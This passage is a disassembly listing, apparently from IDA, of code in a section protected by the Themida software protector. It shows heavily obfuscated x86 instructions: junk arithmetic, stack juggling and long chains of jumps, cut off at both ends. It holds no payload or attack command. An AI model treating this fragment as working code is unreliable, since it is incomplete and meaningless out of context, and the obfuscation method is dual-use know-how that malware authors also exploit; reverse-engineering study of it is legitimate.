CODE XREF: Themida_:005A00F6j ; Themida_:005AD52Bj inc edx push ebx jmp loc_5AC513 ; --------------------------------------------------------------------------- loc_5A74EA: ; CODE XREF: Themida_:005AE5A9j pop esi add esi, 720D4C3Bh push eax jmp loc_5AA78E ; --------------------------------------------------------------------------- loc_5A74F7: ; CODE XREF: Themida_:005AC797j push edx mov edx, esp jmp loc_5A2A21 ; --------------------------------------------------------------------------- loc_5A74FF: ; CODE XREF: Themida_:005A8B7Cj shr ebp, 1 jz loc_5AA0F2 jmp loc_59D0FE ; --------------------------------------------------------------------------- loc_5A750C: ; CODE XREF: Themida_:005AF3A1j or ebx, 2B3D7309h jmp loc_59C6B2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7526: ; CODE XREF: Themida_:005A343Fj ; Themida_:005AFD04j pop edx sub esi, 46DA43BCh push esi not dword ptr [esp] pop esi and esi, 6FAE3E3Eh dec esi xor esi, 6AFC79CCh jmp loc_5ADD9E ; --------------------------------------------------------------------------- loc_5A7544: ; DATA XREF: Themida_:005986DCo push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push 466Dh mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_5AB578 ; --------------------------------------------------------------------------- loc_5A7568: ; CODE XREF: Themida_:005A0794j mov [esp], ebx mov ebx, 2EFF46E5h mov esi, 0DC4BD921h jmp loc_5AE132 ; --------------------------------------------------------------------------- loc_5A757A: ; CODE XREF: Themida_:00599268j push eax push ebx mov ebx, 46044114h jmp loc_5A715B ; --------------------------------------------------------------------------- loc_5A7586: ; CODE XREF: Themida_:loc_5A4F7Aj add ecx, 70359D1Ch and edi, ecx jmp loc_59DF14 ; --------------------------------------------------------------------------- loc_5A7593: ; CODE XREF: Themida_:0059D01Dj push 2C4Fh mov [esp], ebx mov bh, 8Eh inc bh jmp loc_59E80A ; --------------------------------------------------------------------------- loc_5A75A4: ; CODE XREF: Themida_:005AEF3Ej sub ecx, 0B74A92D7h mov esi, ecx jmp loc_59B3F4 ; --------------------------------------------------------------------------- loc_5A75B1: ; CODE XREF: Themida_:005A0EE1j mov eax, esp jmp loc_5A02ED ; --------------------------------------------------------------------------- loc_5A75B8: ; CODE XREF: Themida_:0059D132j ; Themida_:005AF029j mov [esp], ebp push ebx mov ebx, 53A13037h push ebx sub dword ptr [esp], 2601137h pop ebp jmp loc_599AC7 ; --------------------------------------------------------------------------- loc_5A75CF: ; CODE XREF: Themida_:005AAB07j push ebx mov ebx, 0EBD7338h jmp loc_5AD905 ; --------------------------------------------------------------------------- loc_5A75DA: ; CODE XREF: Themida_:005A1B27j sar dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A75E3: ; CODE XREF: Themida_:0059EE90j sub ebx, 4FD109E2h jmp loc_5A9D82 ; --------------------------------------------------------------------------- loc_5A75EE: ; CODE XREF: Themida_:00598A38j add esi, eax pop eax mov ecx, [esp] jmp loc_59CE4E ; --------------------------------------------------------------------------- loc_5A75F9: ; CODE XREF: Themida_:005A56B2j ; Themida_:005A8F7Cj shr edi, 1 jnz loc_5A575F or edi, 152627D7h jmp loc_5A9A0B ; --------------------------------------------------------------------------- sub esp, 4 loc_5A760F: ; CODE XREF: Themida_:005A27BDj mov esp, [esp] cmp ecx, eax pushf jmp loc_5AE058 ; --------------------------------------------------------------------------- loc_5A761A: ; CODE XREF: Themida_:005AE8EEj push 23FFh push esp pop dword ptr [esp] jmp loc_598B23 ; --------------------------------------------------------------------------- loc_5A7628: ; CODE XREF: Themida_:005A68C3j mov ebp, edi jmp loc_5A73BE ; --------------------------------------------------------------------------- loc_5A762F: ; CODE XREF: Themida_:00598E04j push edx mov edx, 577F3EF0h not edx sub edx, 74B15EE2h mov ebp, edx jmp loc_5AD26B ; --------------------------------------------------------------------------- loc_5A7644: ; CODE XREF: Themida_:005A7CF6j mov ecx, 3CA029B4h jmp loc_5A82E2 ; --------------------------------------------------------------------------- loc_5A764E: ; CODE XREF: Themida_:005A5613j jmp loc_5AF79E ; --------------------------------------------------------------------------- loc_5A7653: ; CODE XREF: Themida_:005AB3DFj sub esp, 4 mov [esp], esi jmp loc_5A95EA ; --------------------------------------------------------------------------- loc_5A765E: ; CODE XREF: Themida_:005A8454j push dword ptr [esp] jmp loc_59E3A0 ; --------------------------------------------------------------------------- loc_5A7666: ; CODE XREF: Themida_:005A776Fj shl eax, 6 jp loc_599FF2 inc eax jmp loc_5A6489 ; --------------------------------------------------------------------------- mov bh, ah pop eax push eax loc_5A7679: ; CODE XREF: Themida_:005AC3C4j pop eax mov dl, bh jmp loc_5992E8 ; --------------------------------------------------------------------------- loc_5A7681: ; CODE XREF: Themida_:005AF1B4j pop esp pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5AA5C0 ; --------------------------------------------------------------------------- loc_5A7693: ; CODE XREF: Themida_:005A4893j sub esp, 4 mov [esp], edi push ecx mov ecx, 4 jmp loc_59D3F2 ; --------------------------------------------------------------------------- loc_5A76A7: ; CODE XREF: Themida_:005A4A74j and edx, 34936822h add edx, 0EF67F7E4h xor ecx, edx jmp loc_5A16C4 ; --------------------------------------------------------------------------- loc_5A76BA: ; CODE XREF: Themida_:005A247Ej add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59FB45 ; --------------------------------------------------------------------------- loc_5A76CB: ; CODE XREF: Themida_:0059D255j push eax jmp loc_5AD543 ; --------------------------------------------------------------------------- loc_5A76D1: ; CODE XREF: Themida_:005AC6DAj sub ebx, 39B30B1Fh xor ebx, 167F5288h jnp loc_59C829 dec ebx xor ebx, 13FD51D0h mov edx, esi push esi loc_5A76ED: ; CODE XREF: Themida_:005A11C3j push ecx mov cx, 0D52h push cx not word ptr [esp] pop cx jmp loc_59EE95 ; --------------------------------------------------------------------------- loc_5A76FF: ; CODE XREF: Themida_:005A066Cj not edx sub edx, 310C1FEBh sub eax, edx push dword ptr [esp] pop edx jmp loc_59AAEA ; --------------------------------------------------------------------------- loc_5A7712: ; CODE XREF: Themida_:005A5B98j ; Themida_:005AEEFEj mov ah, ch push ebx mov bh, ah mov dh, bh pop ebx push dword ptr [esp] pop eax add esp, 4 mov bh, dh pop edx pop ecx pop edx xor bh, 41h add cl, bh jmp loc_5AD30C ; --------------------------------------------------------------------------- loc_5A7733: ; CODE XREF: Themida_:loc_5A5C3Cj xor ah, 5 push 7878h jmp loc_59BCAD ; --------------------------------------------------------------------------- loc_5A7740: ; CODE XREF: Themida_:0059F241j mov ecx, 4 push ebp mov ebp, 51FD46EBh sub esi, ebp pop ebp add esi, ecx push ebp mov ebp, 7F6A7200h or ebp, 61F90402h shl ebp, 5 jmp loc_5AF312 ; --------------------------------------------------------------------------- loc_5A7764: ; CODE XREF: Themida_:005A026Dj mov [esp], eax mov eax, 636E59D7h shl eax, 5 jz loc_5A7666 shl eax, 6 jp loc_59B287 inc eax jo loc_5999BF shl eax, 5 mov cl, ch loc_5A778A: ; CODE XREF: Themida_:005A873Fj sub ecx, edx jmp loc_5AAADE ; --------------------------------------------------------------------------- loc_5A7791: ; CODE XREF: Themida_:005A66D4j xor ebx, 0D381BFFh push ebx mov ebx, 4ACF5386h and ebx, 52984D7Dh xor ebx, 686E232Ch add esi, ebx pop ebx jmp loc_5A4DD2 ; --------------------------------------------------------------------------- loc_5A77B1: ; CODE XREF: Themida_:005A6A5Dj xchg edi, [esp] mov esp, [esp] or edx, eax jmp loc_5A8018 ; --------------------------------------------------------------------------- loc_5A77BE: ; DATA XREF: Themida_:0059883Co lodsb jmp loc_59A688 ; --------------------------------------------------------------------------- loc_5A77C4: ; CODE XREF: Themida_:005A8A35j jmp loc_59F685 ; --------------------------------------------------------------------------- loc_5A77C9: ; CODE XREF: Themida_:0059E953j xor edx, 5414589Ch jz loc_5AD329 xor edx, 463A3169h jle loc_5ADAD2 add edx, 4DB90B57h jz loc_5A4863 jmp loc_5A2D7E ; --------------------------------------------------------------------------- loc_5A77F2: ; CODE XREF: Themida_:005AA8CBj js loc_59CF45 xor esi, 2DDB5F7Eh xor esi, 302E7A90h jmp loc_5A8BFD ; --------------------------------------------------------------------------- loc_5A7809: ; CODE XREF: Themida_:005A93B2j pop edi push edx pop ecx jmp loc_5A370E ; --------------------------------------------------------------------------- loc_5A7811: ; CODE XREF: Themida_:005A687Cj neg eax dec eax xor eax, 20382EADh shr eax, 3 jmp loc_5A2E83 ; --------------------------------------------------------------------------- loc_5A7821: ; CODE XREF: Themida_:005A3059j mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov edi, [esp] add esp, 4 xor [esp], edi xor edi, [esp] xor [esp], edi jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7841: ; CODE XREF: Themida_:005AB39Aj pop edi jmp loc_5A8332 ; --------------------------------------------------------------------------- loc_5A7847: ; CODE XREF: Themida_:00598DD8j ; Themida_:0059D20Aj push edx mov edx, 51D4069Dh jmp loc_5AF8DB ; --------------------------------------------------------------------------- loc_5A7852: ; CODE XREF: Themida_:005AA997j and bl, 70h jmp loc_59982C ; --------------------------------------------------------------------------- loc_5A785A: ; CODE XREF: Themida_:005A1CA5j push ebx mov bh, ch mov al, bh jmp loc_59EDE9 ; --------------------------------------------------------------------------- loc_5A7864: ; CODE XREF: Themida_:005AE32Ej dec edi add edi, 0FFFFFFFFh xor edi, 0C6F88E8Dh jmp loc_59CA91 ; --------------------------------------------------------------------------- loc_5A7873: ; CODE XREF: Themida_:0059A5F4j add edi, ebx push eax jmp loc_5A6A54 ; --------------------------------------------------------------------------- loc_5A787B: ; CODE XREF: Themida_:005AADE4j mov edx, ebx jmp loc_59E0C4 ; --------------------------------------------------------------------------- loc_5A7882: ; CODE XREF: Themida_:loc_5A5C30j add edi, 0A8312E9h mov esi, edi pop edi mov ecx, 3D77450Ah jmp loc_5A2C4C ; --------------------------------------------------------------------------- loc_5A7895: ; CODE XREF: Themida_:00599029j pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 4994h mov [esp], ecx push 2D23h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, 4 add ecx, 7FDD34B9h push edx mov edx, 6FB80F9Ch shl edx, 6 sub edx, 0A517A003h add ecx, edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AA827 ; --------------------------------------------------------------------------- loc_5A78E9: ; CODE XREF: Themida_:0059DBA0j push dword ptr [esp] jmp loc_598EBD ; --------------------------------------------------------------------------- loc_5A78F1: ; CODE XREF: Themida_:005A3D4Dj xchg ebp, [esp] mov esp, [esp] or edx, eax jmp loc_5A2C1A ; --------------------------------------------------------------------------- loc_5A78FE: ; CODE XREF: Themida_:005A2B41j add dword ptr [esp], 0AE2429Dh pop eax jmp loc_5AC920 ; --------------------------------------------------------------------------- loc_5A790B: ; CODE XREF: Themida_:0059D13Dj ; Themida_:0059F32Aj pop ebp add edi, ebx add edi, 0CB305C7h jmp loc_59AF63 ; --------------------------------------------------------------------------- loc_5A7919: ; CODE XREF: Themida_:005A87EBj push ecx push 3082757Ah pop ecx push edx jmp loc_59DC94 ; --------------------------------------------------------------------------- loc_5A7926: ; CODE XREF: Themida_:0059A7D0j mov esp, [esp] sub edi, 0EE41626h add edi, edx add edi, 0EE41626h jmp loc_5A19DC ; --------------------------------------------------------------------------- loc_5A793C: ; CODE XREF: Themida_:005A1DA2j ; Themida_:loc_5A324Aj jmp loc_59E8FC ; --------------------------------------------------------------------------- loc_5A7941: ; CODE XREF: Themida_:005AB16Bj sub ecx, 77257653h pop edi push ecx pop ebp mov ecx, [esp] add esp, 4 and eax, ebp jmp loc_5AE816 ; --------------------------------------------------------------------------- loc_5A795A: ; CODE XREF: Themida_:005A98C9j push small 4F77h mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7967: ; CODE XREF: Themida_:0059E868j neg edi js loc_5AD9D7 jmp loc_5A88DB ; --------------------------------------------------------------------------- inc dh xor dh, 23h xor al, dh push esp loc_5A797C: ; CODE XREF: Themida_:005A6397j mov ecx, [esp] add esp, 4 push 7A89h mov [esp], edx push dword ptr [esp+4] jmp loc_5A6CFD ; --------------------------------------------------------------------------- loc_5A7993: ; CODE XREF: Themida_:005A1F90j xchg esi, [esp] pop esp push 495h mov [esp], ebx push eax sub dword ptr [esp], 7CB44DC6h pop ebx push ecx mov ecx, esp sub esp, 4 jmp loc_59AAF4 ; --------------------------------------------------------------------------- loc_5A79B3: ; CODE XREF: Themida_:005A5BB2j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5A9F1A ; --------------------------------------------------------------------------- loc_5A79C7: ; CODE XREF: Themida_:005A0566j xor eax, ecx pop ecx sub esp, 4 mov [esp], ebx mov ebx, 66B420A1h and eax, ebx pop ebx or eax, 2F40389Ch jmp loc_59B833 ; --------------------------------------------------------------------------- loc_5A79E2: ; CODE XREF: Themida_:0059C006j ; Themida_:0059F4BDj pop edx add [esp+4], ebp jmp loc_5A6157 ; --------------------------------------------------------------------------- loc_5A79EC: ; CODE XREF: Themida_:005A9B19j jns loc_59BC85 xor dl, 8Ah jmp loc_59C254 ; --------------------------------------------------------------------------- xchg ebp, [esp] pop esp loc_5A79FE: ; CODE XREF: Themida_:005994A9j sub esi, 5C002DD0h neg esi add esi, 421F1E65h sub esi, 2C9597DEh jmp loc_5AB12E ; --------------------------------------------------------------------------- loc_5A7A17: ; CODE XREF: Themida_:005A483Ej pop eax push edi mov edi, 4 jmp $+5 add eax, edi jmp loc_59A070 ; --------------------------------------------------------------------------- loc_5A7A2A: ; CODE XREF: Themida_:005A1EA6j jmp loc_5A3684 ; --------------------------------------------------------------------------- loc_5A7A2F: ; CODE XREF: Themida_:005A6683j add esp, 4 jmp loc_59A541 ; --------------------------------------------------------------------------- loc_5A7A3A: ; CODE XREF: Themida_:005A4DC0j pop esp mov [esp], eax sub esp, 4 mov [esp], edi push 63F77192h pop edi dec edi jmp loc_5AF557 ; --------------------------------------------------------------------------- loc_5A7A50: ; CODE XREF: Themida_:005A10A3j mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, 7DF51A37h add ebx, 820AE5CDh add esi, 4D3318CCh sub esi, ebx sub esi, 4D3318CCh jmp loc_5A4713 ; --------------------------------------------------------------------------- loc_5A7A95: ; CODE XREF: Themida_:0059AD21j ; Themida_:005A52A1j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7A9A: ; CODE XREF: Themida_:0059D45Ej mov edx, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_598F74 ; --------------------------------------------------------------------------- loc_5A7AB4: ; CODE XREF: Themida_:005A734Aj xor dword ptr [esp], 6FCE04D3h push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 push esi mov esi, 6FCE04D3h xor edx, esi jmp loc_59B82D ; --------------------------------------------------------------------------- loc_5A7AE5: ; CODE XREF: Themida_:005AD8D3j add esp, 4 push ebx jmp loc_5AF0E3 ; --------------------------------------------------------------------------- loc_5A7AF1: ; CODE XREF: Themida_:0059C0BAj pop ecx push ecx mov cl, 0BEh not cl neg cl shr cl, 7 shl cl, 2 sub cl, 0A4h sub dh, cl pop ecx push ecx mov ch, bl mov bl, dh mov dh, ch pop ecx not bl xor dh, bl xor bl, dh xor dh, bl shl dh, 5 sub esp, 2 mov [esp], bx mov bl, 0A3h and bl, 37h jmp loc_5AF936 ; --------------------------------------------------------------------------- loc_5A7B29: ; CODE XREF: Themida_:0059E457j pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_59AC3B ; --------------------------------------------------------------------------- loc_5A7B41: ; CODE XREF: Themida_:005ABD44j or dl, 4Dh jmp loc_5A92EC ; --------------------------------------------------------------------------- loc_5A7B49: ; CODE XREF: Themida_:0059D2E1j neg esi jns loc_59E805 jmp loc_59A29F ; --------------------------------------------------------------------------- loc_5A7B56: ; CODE XREF: Themida_:0059EB9Cj add eax, edx push dword ptr [esp] pop edx add esp, 4 xchg eax, [esp] mov esp, [esp] push ebp push esp jmp loc_5ACFA7 ; --------------------------------------------------------------------------- dd 0B850E789h, 4, 5258C701h, 0E904EC83h, 0FFFF501Bh ; --------------------------------------------------------------------------- loc_5A7B80: ; CODE XREF: Themida_:005A1654j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5A0090 ; --------------------------------------------------------------------------- loc_5A7B8E: ; CODE XREF: Themida_:005A365Cj pop edx add esp, 4 push edx mov edx, esp jmp loc_5A5236 ; --------------------------------------------------------------------------- loc_5A7B9A: ; CODE XREF: Themida_:0059D30Bj add eax, 7BE52628h jmp loc_5A6AF4 ; --------------------------------------------------------------------------- loc_5A7BA4: ; CODE XREF: Themida_:005AC234j push 5A0A0A3Eh push dword ptr [esp] jmp loc_5A9913 ; --------------------------------------------------------------------------- loc_5A7BB1: ; CODE XREF: Themida_:005A8F4Cj add esp, 4 jmp loc_5A4FB6 ; --------------------------------------------------------------------------- loc_5A7BB9: ; CODE XREF: Themida_:0059B218j push 2A65h mov [esp], esp push ebp jmp loc_5A0511 ; --------------------------------------------------------------------------- loc_5A7BC7: ; CODE XREF: Themida_:0059C938j add edx, ebx pop ebx pop eax add edx, 0C84EDA3Ah jmp loc_59A3F2 ; --------------------------------------------------------------------------- loc_5A7BD6: ; CODE XREF: Themida_:005AD071j jnz loc_5AF3D2 xor edx, 65B5EAEFh xor esi, edx add dl, 6Ch push esi loc_5A7BE8: ; CODE XREF: Themida_:005ABDA2j jnp loc_5A0202 shr edx, 1 jnz loc_5A7EDE mov ebp, edi loc_5A7BF8: ; DATA XREF: Themida_:005986F8o mov cx, [esp] push 5E31h mov [esp], ebx sub esp, 4 mov [esp], edi push 598Ch mov [esp], esp jmp loc_5A6C54 ; --------------------------------------------------------------------------- loc_5A7C1A: ; CODE XREF: Themida_:loc_5A8AA9j inc ebp jg loc_5AC360 push eax mov eax, 1 jmp loc_5A6A74 ; --------------------------------------------------------------------------- mov dh, cl mov edi, ebp loc_5A7C30: ; CODE XREF: Themida_:005A83DDj add eax, 19D10A72h xor eax, 36B30A8Dh jmp loc_5A5AFD ; --------------------------------------------------------------------------- loc_5A7C3F: ; CODE XREF: Themida_:005A2236j add eax, 17BA1004h add eax, ebx sub eax, 17BA1004h mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7C6D: ; CODE XREF: Themida_:005A2363j mov ecx, 4 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] sub esp, 4 push esp jmp loc_5AA6C3 ; --------------------------------------------------------------------------- loc_5A7C8A: ; CODE XREF: Themida_:005A71F3j ; DATA XREF: Themida_:00598734o mov cx, [esp] push 6765h mov [esp], edi push esp pop edi jmp loc_5A5DB9 ; --------------------------------------------------------------------------- loc_5A7C9D: ; CODE XREF: Themida_:0059AAC8j not ebx push ecx mov ecx, 0D953D005h add ebx, ecx pop ecx jmp loc_5A8C4D ; --------------------------------------------------------------------------- loc_5A7CAD: ; CODE XREF: Themida_:0059AA0Dj push cx jmp loc_5AEFE9 ; --------------------------------------------------------------------------- loc_5A7CB4: ; CODE XREF: Themida_:005AF854j jo loc_5A6042 neg ah jge loc_5AC80E xor ah, 0BCh jle loc_5AAFB5 push edx mov dl, 0D2h add dl, 0D4h dec dl jmp loc_5A9351 ; --------------------------------------------------------------------------- loc_5A7CD8: ; CODE XREF: Themida_:0059D8EFj mov edx, [esp] jmp loc_5998B2 ; --------------------------------------------------------------------------- loc_5A7CE0: ; CODE XREF: Themida_:005AC7FAj or bl, 95h jmp loc_5A11C8 ; --------------------------------------------------------------------------- loc_5A7CE8: ; CODE XREF: Themida_:00598C33j mov [esp], edi mov edi, 42954D57h shl edi, 7 shr edi, 1 push ecx jmp loc_5A7644 ; --------------------------------------------------------------------------- loc_5A7CFB: ; DATA XREF: Themida_:00598708o lodsb xor al, bl push ecx jmp loc_5A0FF0 ; --------------------------------------------------------------------------- loc_5A7D04: ; CODE XREF: Themida_:005A4FBDj add esp, 4 push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_5A9EFC ; --------------------------------------------------------------------------- loc_5A7D24: ; CODE XREF: Themida_:005ADCC9j xor eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_59BEE3 ; --------------------------------------------------------------------------- loc_5A7D31: ; CODE XREF: Themida_:005ABB08j add ebp, 4 push 651Dh mov [esp], edi push edx push edi push 5EC47A83h jmp loc_5A851B ; --------------------------------------------------------------------------- loc_5A7D4B: ; CODE XREF: Themida_:005A0713j add edx, esi pop esi sub edx, 4 xchg edx, [esp] jmp loc_5A6489 ; --------------------------------------------------------------------------- loc_5A7D59: ; CODE XREF: Themida_:0059D697j pop ebp push edx mov edx, esp add edx, 4 push ebx jmp loc_598D7F ; --------------------------------------------------------------------------- loc_5A7D69: ; CODE XREF: Themida_:005AE0A3j add eax, 37AE1F7Eh add eax, ebx sub eax, 37AE1F7Eh add eax, 64AD591Ah add eax, 6A013A72h push 12ACh mov [esp], edx push 3512692Ah push dword ptr [esp] pop edx push ebp push esp mov ebp, [esp] jmp loc_5A9D58 ; --------------------------------------------------------------------------- loc_5A7D9A: ; CODE XREF: Themida_:005ADA5Cj mov [esp], edx jmp loc_5ABA4E ; --------------------------------------------------------------------------- loc_5A7DA2: ; CODE XREF: Themida_:005AC7B1j push ebx mov ebx, esp add ebx, 4 jmp loc_5A0415 ; --------------------------------------------------------------------------- loc_5A7DB0: ; CODE XREF: Themida_:005A674Bj pop edi jmp loc_5AB270 ; --------------------------------------------------------------------------- loc_5A7DB6: ; CODE XREF: Themida_:005A0751j ; Themida_:005A4CC9j pop dword ptr [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] pop eax push 61F1h mov [esp], edi mov edi, esp push 5385h mov [esp], eax mov eax, 49C77300h and eax, 19D4725Fh xor eax, 3701756Ch not eax shl eax, 8 shr eax, 6 xor eax, 0EBE248h add edi, eax jmp loc_59FAF3 ; --------------------------------------------------------------------------- loc_5A7DFB: ; CODE XREF: Themida_:0059EEBEj push 6CD6h jmp loc_5A41EF ; --------------------------------------------------------------------------- loc_5A7E05: ; CODE XREF: Themida_:005A887Cj not edi xor edi, 7883327Eh sub edi, 0F875E2Eh jmp loc_5AEF71 ; --------------------------------------------------------------------------- loc_5A7E18: ; CODE XREF: Themida_:005AB238j pop edx push dword ptr [esp] jmp loc_5A2513 ; --------------------------------------------------------------------------- loc_5A7E21: ; CODE XREF: Themida_:005A5BA2j shr edx, 1 cmp eax, edx jz loc_59E7FD push 49A8h mov [esp], edx mov edx, 2CF6D13h jmp loc_5A93C0 ; --------------------------------------------------------------------------- loc_5A7E3D: ; CODE XREF: Themida_:0059E221j mov esi, 44645DE7h jmp loc_59FEAB ; --------------------------------------------------------------------------- loc_5A7E47: ; CODE XREF: Themida_:0059AAB2j push edi mov edi, 3D813C4Ah jmp loc_598C9F ; --------------------------------------------------------------------------- loc_5A7E52: ; CODE XREF: Themida_:0059E355j ; DATA XREF: Themida_:005986D4o mov ax, [esp] push ebx sub esp, 4 jmp loc_5AE15F ; --------------------------------------------------------------------------- loc_5A7E62: ; CODE XREF: Themida_:0059AF87j mov [esp], edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx sub esp, 4 mov [esp], esi push edi jmp loc_5ACAEA ; --------------------------------------------------------------------------- loc_5A7E7F: ; CODE XREF: Themida_:0059FFD8j xor edx, 42500A84h push ebp mov ebp, 3B357E99h jmp loc_5A8F01 ; --------------------------------------------------------------------------- loc_5A7E90: ; CODE XREF: Themida_:005A081Bj add eax, edi push edx mov dl, cl jmp loc_5A2B87 ; --------------------------------------------------------------------------- loc_5A7E9A: ; CODE XREF: Themida_:00598FFEj sub esp, 4 jmp loc_5A4C04 ; --------------------------------------------------------------------------- loc_5A7EA2: ; CODE XREF: Themida_:0059C824j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push 7164h mov [esp], edi mov edi, esp push 3CE9h mov [esp], eax mov eax, 52B6132Fh add eax, 3E65348Dh jb loc_59A00F add eax, 75C842E6h jp loc_5ADEA9 jmp loc_599282 ; --------------------------------------------------------------------------- loc_5A7EDE: ; CODE XREF: Themida_:0059FE8Aj ; Themida_:005A7BF0j push 329F3103h pop edi neg edi jp loc_599563 jmp loc_5A2483 ; --------------------------------------------------------------------------- loc_5A7EF1: ; CODE XREF: Themida_:005AEEB4j jp loc_59E614 jmp loc_5AF2C0 ; --------------------------------------------------------------------------- loc_5A7EFC: ; CODE XREF: Themida_:005A68FCj push eax push ebx push edi jmp loc_59DABB ; --------------------------------------------------------------------------- loc_5A7F04: ; CODE XREF: Themida_:005AB824j mov esp, [esp] push 25EEh mov [esp], edx mov edx, 4 push edx mov edx, 4739191Dh add ebx, edx pop edx jmp loc_59FCC8 ; --------------------------------------------------------------------------- loc_5A7F22: ; CODE XREF: Themida_:005AE893j jmp loc_59CF3D ; --------------------------------------------------------------------------- loc_5A7F27: ; CODE XREF: Themida_:0059F58Fj mov edi, 4F3577C4h shr edi, 6 sub edi, 12C655B5h push ebx mov ebx, 6CD2283Dh jmp loc_5A74D3 ; --------------------------------------------------------------------------- loc_5A7F40: ; CODE XREF: Themida_:005AD41Dj inc ebp jmp loc_5A326C ; --------------------------------------------------------------------------- loc_5A7F46: ; CODE XREF: Themida_:005A3A82j ; Themida_:005A45DBj mov edx, 31795468h neg edx not edx jmp loc_5ACFBE ; --------------------------------------------------------------------------- loc_5A7F54: ; CODE XREF: Themida_:005A3087j push esi mov esi, 3F891CAFh xor [esp+4], esi pop esi mov edx, [esp] add esp, 4 push eax mov eax, 43883B39h sub eax, 3FF1E8Ah xor edx, eax mov eax, [esp] add esp, 4 mov ebx, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 push 1F71h jmp loc_598C55 ; --------------------------------------------------------------------------- loc_5A7F92: ; CODE XREF: Themida_:0059BECAj add al, dl jmp loc_598C05 ; --------------------------------------------------------------------------- loc_5A7F99: ; CODE XREF: Themida_:005AD341j jmp loc_5A6489 ; --------------------------------------------------------------------------- loc_5A7F9E: ; CODE XREF: Themida_:005A1279j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx jmp loc_5A891F ; --------------------------------------------------------------------------- loc_5A7FB2: ; CODE XREF: Themida_:0059C184j pop edx jmp loc_5A33EE ; --------------------------------------------------------------------------- loc_5A7FB8: ; CODE XREF: Themida_:005AFB9Dj push 227Bh jmp loc_5A510F ; --------------------------------------------------------------------------- loc_5A7FC2: ; CODE XREF: Themida_:00598D43j xor edx, [esp] xor [esp], edx jmp loc_5AB256 ; --------------------------------------------------------------------------- loc_5A7FCD: ; CODE XREF: Themida_:005A329Ej and eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5A07C8 ; --------------------------------------------------------------------------- loc_5A7FE0: ; CODE XREF: Themida_:0059B924j ; Themida_:005A235Dj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A7FE5: ; CODE XREF: Themida_:005AC0FFj mov ch, 4Bh shr ch, 8 jmp loc_59905E ; --------------------------------------------------------------------------- loc_5A7FEF: ; CODE XREF: Themida_:0059D04Fj add eax, edi push ebx jmp loc_59B0A4 ; --------------------------------------------------------------------------- loc_5A7FF7: ; CODE XREF: Themida_:005A7184j mov ah, 0Fh mov bl, ah pop eax shl bl, 2 jnp loc_5A5524 push eax jmp loc_5A3F38 ; --------------------------------------------------------------------------- loc_5A800B: ; CODE XREF: Themida_:005A3E59j pop ecx jmp loc_5A3D58 ; --------------------------------------------------------------------------- loc_5A8011: ; CODE XREF: Themida_:005A4A5Cj mov cl, ah jmp loc_59CAB4 ; --------------------------------------------------------------------------- loc_5A8018: ; CODE XREF: Themida_:005A77B9j shl edx, 1 jmp loc_5AE286 ; --------------------------------------------------------------------------- loc_5A801F: ; CODE XREF: Themida_:005A1C83j ; Themida_:005ABD34j sub esp, 4 jmp loc_5AFB86 ; --------------------------------------------------------------------------- loc_5A8027: ; CODE XREF: Themida_:005A8F07j mov ecx, 29C36638h not ecx add ecx, 7D4F67E0h or ecx, 451E63E0h and ecx, 0E370DCCh shl ecx, 8 jmp loc_5AB5A1 ; --------------------------------------------------------------------------- loc_5A8048: ; CODE XREF: Themida_:005AC8D8j mov [esp], si jmp loc_5AE7A6 ; --------------------------------------------------------------------------- loc_5A8051: ; CODE XREF: Themida_:005A11EBj push ax mov ah, 92h jmp loc_5A36FF ; --------------------------------------------------------------------------- loc_5A805A: ; CODE XREF: Themida_:005AF668j mov al, 92h jmp loc_5ACBE3 ; --------------------------------------------------------------------------- loc_5A8061: ; CODE XREF: Themida_:005A302Ej neg ebp xchg ebp, esi push edx mov edx, 0BC388601h sub esi, edx mov edx, [esp] add esp, 4 xor eax, esi pop esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp jmp loc_5A6036 ; --------------------------------------------------------------------------- loc_5A8090: ; CODE XREF: Themida_:005ADFAAj add ecx, edx jmp loc_5A48C1 ; --------------------------------------------------------------------------- loc_5A8097: ; CODE XREF: Themida_:005A2A4Bj sub [esp+2], dl pop dx mov ch, [esp] add esp, 2 add ch, 6Ah push bx mov bh, 81h jmp 